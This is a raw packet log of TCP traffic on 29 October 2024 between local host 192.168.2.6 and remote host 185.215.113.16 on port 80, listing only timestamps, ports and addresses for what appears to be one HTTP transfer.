Oct 29, 2024 20:44:53.437155008 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.437222004 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.437233925 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.437278986 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.437467098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.535984993 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.552459955 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.552485943 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.552500010 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.552531004 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.552721024 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.552731991 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.552743912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.552756071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.552881002 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.552881002 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.553050041 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553148985 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.553159952 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553172112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553215027 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.553296089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553307056 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553318024 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553340912 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.553555965 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553566933 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553577900 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553601980 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.553633928 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.553870916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553881884 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553893089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553905964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.553917885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.553941011 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.554240942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.554306984 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.554497957 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.669544935 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.669576883 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.669588089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.669629097 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.669776917 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.669787884 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.669830084 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.669934034 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.669944048 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.669975996 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.670142889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.670154095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.670165062 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.670182943 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.670209885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.670418978 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.670429945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.670440912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.670466900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.670702934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.670716047 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.670726061 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.670742035 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.670768023 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.670967102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.671063900 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.671077013 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.671103954 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.671318054 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.671329021 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.671339989 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.671355009 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.671379089 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.786284924 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.786309958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.786324024 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.786364079 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.786530972 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.786549091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.786562920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.786585093 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.786604881 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.786782026 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.786794901 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.786847115 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.787012100 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787024021 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787034988 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787067890 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.787311077 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787333012 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787343979 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787353992 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787355900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.787379980 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.787596941 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787703991 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.787704945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787718058 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787837029 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.787941933 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787955046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787965059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787981987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.787991047 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.788044930 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.788306952 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.788599968 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.788644075 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.903276920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903321981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903341055 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903353930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903394938 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.903435946 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.903493881 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903506041 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903544903 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.903784037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903795958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903831005 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.903909922 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903920889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903932095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903944969 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903955936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.903960943 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.903987885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.904395103 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.904406071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.904416084 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.904438972 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.904464006 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.904750109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.904933929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.904977083 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.904978037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.905091047 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.905102968 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.905137062 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.905323029 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.905334949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.905344963 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.905369997 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.905392885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.905668974 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.905678988 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.905714035 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.019835949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.019857883 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.019867897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.019915104 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.020003080 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020013094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020024061 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020047903 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.020061970 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.020227909 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020243883 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020255089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020282030 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.020411968 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020451069 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.020462036 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020620108 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020631075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020643950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020663977 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.020690918 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.020884037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.020953894 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021024942 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.021053076 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021064997 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021105051 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.021214962 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021225929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021236897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021267891 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.021442890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021543980 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021567106 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.021627903 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021676064 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.021740913 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021753073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021797895 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.021948099 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021967888 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.021979094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.022017002 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.068526030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.068581104 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.068598032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.113708973 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.136676073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.136692047 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.136703968 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.136754036 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.136811018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.136822939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.136856079 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.137012005 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137033939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137053013 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.137056112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137129068 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.137207985 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137329102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137340069 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137373924 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.137516975 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137598991 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.137620926 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137630939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137644053 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137655020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.137676001 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.137687922 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.137995005 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.138005972 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.138044119 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.138192892 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.138204098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.138233900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.138343096 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.138447046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.138458014 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.138488054 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.138490915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.138501883 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.138528109 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.138813019 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.138878107 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.232283115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.232317924 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.232328892 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.232372999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.232376099 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.232407093 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.253544092 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.253619909 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.253663063 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.253719091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.253731012 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.253850937 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.253890038 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.253895998 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.253907919 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.253928900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.254126072 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254208088 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.254231930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254242897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254254103 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254266024 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254277945 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.254278898 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254323006 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.254707098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254719019 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254729033 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254754066 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.254777908 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.254935026 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254945993 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254956961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.254985094 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.255139112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.255188942 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.255201101 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.255213976 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.255223989 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.255234957 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.255254984 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.255280018 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.255654097 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.255666018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.255676985 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.255688906 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.255703926 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.255732059 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.349100113 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.349114895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.349127054 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.349158049 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.370373011 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370387077 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370398045 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370433092 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.370469093 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.370477915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370490074 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370500088 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370512009 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370527983 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.370552063 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.370811939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370825052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370878935 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.370906115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370918036 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370930910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.370960951 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.371242046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371294022 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.371339083 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371350050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371360064 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371371031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371385098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371385098 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.371407032 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.371655941 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371668100 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371678114 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371690989 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371699095 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.371701956 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.371714115 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.371742964 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.372123957 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.372144938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.372155905 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.372188091 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.412164927 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.412178993 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.412189007 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.412224054 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.412247896 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.466142893 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.466161013 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.466173887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.466207981 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.486991882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487040043 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487045050 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.487051964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487148046 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.487169981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487363100 CET	80	62422	185.215.113.16	192.168.2.6
